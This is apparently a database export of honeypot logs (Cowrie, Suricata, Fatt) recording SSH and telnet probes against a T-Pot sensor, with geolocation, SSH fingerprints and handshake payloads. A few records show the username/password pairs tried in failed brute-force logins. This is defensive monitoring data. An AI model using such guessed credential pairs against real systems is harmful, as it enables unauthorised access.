34944	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:05:38.21375+03	2021-09-20 15:15:02.58369+03	{"_id": "QgYYA3wBvYTbRNuE8Vme", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 2133838420583019, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34260, "dest_port": 22, "timestamp": "2021-09-20T12:05:38.213750Z", "@timestamp": "2021-09-20T12:05:38.213Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	HK
34945	150.109.115.128	109.199.241.180	Fatt	2021-09-20 15:05:38.219426+03	2021-09-20 15:15:02.58569+03	{"_id": "RgYYA3wBvYTbRNuE8lmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34260, "dest_port": 22, "timestamp": "2021-09-20T12:05:38.219426", "@timestamp": "2021-09-20T12:05:38.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	HK
34964	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:05:23.85278+03	2021-09-20 15:15:02.61269+03	{"_id": "EAYYA3wBvYTbRNuEuVnC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [tomcat3/tomcat3] failed", "session": "cdd7479d7137", "@version": "1", "password": "tomcat3", "username": "tomcat3", "timestamp": "2021-09-20T12:05:23.852780Z", "@timestamp": "2021-09-20T12:05:23.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	UA
34946	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:36.783583+03	2021-09-20 15:15:02.586719+03	{"_id": "NQYYA3wBvYTbRNuE71kQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "182.74.25.246", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 4168, "timestamp": "2021-09-20T12:05:36.783583", "@timestamp": "2021-09-20T12:05:36.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34947	182.74.25.246	109.199.241.180	Cowrie	2021-09-20 15:05:37.779315+03	2021-09-20 15:15:02.587691+03	{"_id": "PQYYA3wBvYTbRNuE8Fl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "182.74.25.246", "eventid": "cowrie.login.failed", "message": "login attempt [root/QWE@123] failed", "session": "2547884a6eb4", "@version": "1", "password": "QWE@123", "username": "root", "timestamp": "2021-09-20T12:05:37.779315Z", "@timestamp": "2021-09-20T12:05:37.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	IN
34948	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:05:38.011997+03	2021-09-20 15:15:02.589719+03	{"_id": "PwYYA3wBvYTbRNuE8Fl4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "679cbf33ee9f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:05:38.011997Z", "@timestamp": "2021-09-20T12:05:38.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	HK
34949	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:05:38.219426+03	2021-09-20 15:15:02.590721+03	{"_id": "QwYYA3wBvYTbRNuE8Vme", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:05:37.795243+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2133838420583019, "payload": "AAADzAYUo7uQGNLFIxGkNSr2H8yLewAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34260, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:05:38.219426Z", "@timestamp": "2021-09-20T12:05:38.219Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............#..5*....{...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	HK
34950	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:38.213944+03	2021-09-20 15:15:02.59172+03	{"_id": "RQYYA3wBvYTbRNuE8lmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34260, "timestamp": "2021-09-20T12:05:38.213944", "@timestamp": "2021-09-20T12:05:38.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34951	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:05:23.229853+03	2021-09-20 15:15:02.59369+03	{"_id": "AQYYA3wBvYTbRNuEtVnY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:46094 (192.168.176.2:23) [session: 58dda5b9e76c]", "session": "58dda5b9e76c", "@version": "1", "protocol": "telnet", "src_port": 46094, "dest_port": 23, "timestamp": "2021-09-20T12:05:23.229853Z", "@timestamp": "2021-09-20T12:05:23.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	AL
34952	91.200.124.7	109.199.241.180	Suricata	2021-09-20 15:05:23.590693+03	2021-09-20 15:15:02.595691+03	{"_id": "AwYYA3wBvYTbRNuEtln_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:05:23.510630+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 981479366838950, "payload": "AAADzAYU1LRKw3mzWhyiS7SIPxKHfQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58560, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:05:23.590693Z", "@timestamp": "2021-09-20T12:05:23.590Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........J.y.Z..K..?..}...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	UA
34953	91.200.124.7	109.199.241.180	Suricata	2021-09-20 15:05:23.590419+03	2021-09-20 15:15:02.596691+03	{"_id": "AgYYA3wBvYTbRNuEtln_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 981479366838950, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58560, "dest_port": 22, "timestamp": "2021-09-20T12:05:23.590419Z", "@timestamp": "2021-09-20T12:05:23.590Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	UA
34954	182.74.25.246	109.199.241.180	Cowrie	2021-09-20 15:05:36.601466+03	2021-09-20 15:15:02.598689+03	{"_id": "KgYYA3wBvYTbRNuE7FmO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "182.74.25.246", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 182.74.25.246:4168 (192.168.176.2:22) [session: 2547884a6eb4]", "session": "2547884a6eb4", "@version": "1", "protocol": "ssh", "src_port": 4168, "dest_port": 22, "timestamp": "2021-09-20T12:05:36.601466Z", "@timestamp": "2021-09-20T12:05:36.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	IN
34955	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:05:36.920529+03	2021-09-20 15:15:02.59969+03	{"_id": "LAYYA3wBvYTbRNuE7FmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:35080 (192.168.176.2:22) [session: 403b0283ceab]", "session": "403b0283ceab", "@version": "1", "protocol": "ssh", "src_port": 35080, "dest_port": 22, "timestamp": "2021-09-20T12:05:36.920529Z", "@timestamp": "2021-09-20T12:05:36.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	FR
